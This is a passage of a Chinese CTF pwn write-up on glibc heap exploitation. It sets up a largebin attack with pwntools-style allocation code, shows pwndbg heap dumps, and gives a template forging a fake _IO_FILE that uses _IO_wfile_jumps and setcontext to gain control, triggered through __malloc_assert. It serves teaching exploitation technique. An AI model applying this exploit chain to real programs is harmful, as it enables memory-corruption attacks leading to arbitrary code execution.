12
13
14
add(0,0x450,b'a'*8)     #0
add(1,0x418,b'a'*8) #1
add(2,0x430,b'a'*8) #2
add(3,0x418,b'a'*8) #3
add(4,0x440,b'a'*8) #4
add(5,0x418,b'\x00'*8) #5


free(0)
free(4)
add(6,0x460,b'\x00'*8) #6

show(0)

chunk 的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5609eb575000
Size: 0x291

Free chunk (largebins) | PREV_INUSE
Addr: 0x5609eb575290
Size: 0x451
fd: 0x7f2adf8f70e0
bk: 0x5609eb575b00
fd_nextsize: 0x5609eb575b00
bk_nextsize: 0x5609eb575b00

Allocated chunk
Addr: 0x5609eb5756e0
Size: 0x420

Free chunk (largebins) | PREV_INUSE
Addr: 0x5609eb575b00
Size: 0x461
fd: 0x5609eb575290
bk: 0x7f2adf8f70e0
fd_nextsize: 0x5609eb575290
bk_nextsize: 0x5609eb575290

Allocated chunk
Addr: 0x5609eb575f60
Size: 0x420

Allocated chunk | PREV_INUSE
Addr: 0x5609eb576380
Size: 0x441

Allocated chunk | PREV_INUSE
Addr: 0x5609eb5767c0
Size: 0x471

Top chunk | PREV_INUSE
Addr: 0x5609eb576c30
Size: 0x1f3d1

接下来就是获取到_IO_list_all 的位置,然后进行伪造 iofile

伪造的模板,作者已经提供了,这里是用到了 setcontext 进行参数的设置,我们需要手动更改下 fake_io_addr 的地址为我们控制的 chunk 地址,这里就是 largebin attack 生效的攻击地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_io_addr=heapbase+0xb00
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)#
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

伪造好后的_io_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f85fb7ee680 <_IO_list_all>
pwndbg> p *(struct _IO_FILE_plus **) 0x7f85fb7ee680
$2 = (struct _IO_FILE_plus *) 0x563e47a6c370
pwndbg> p*(struct _IO_FILE_plus *) 0x563e47a6c370
$3 = {
file = {
_flags = 0,
_IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>,
_IO_read_end = 0x7f85fb7ee0e0 <main_arena+1120> "\320\340~\373\205\177",
_IO_read_base = 0x563e47a6b290 "",
_IO_write_base = 0x563e47a6b290 "",
_IO_write_ptr = 0x7f85fb7ee660 <_nl_global_locale+224> "\327\341z\373\205\177",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>,
_IO_save_base = 0x0,
_IO_backup_base = 0x563e47a6c420 "",
_IO_save_end = 0x7f85fb627a6d <setcontext+61> "H\213\242\240",
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x563e47a6c000,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x563e47a6c3a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f85fb7ea0e0 <_IO_wfile_jumps+32>
}

接下来就是如何触发 exit,利用__malloc_assert 报错,这里可以修改 topchunk 的 size 进行报错。这里依旧可以选择进行 largebin attack. 文章最开始有介绍如何进行连续的两次 attack 。

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal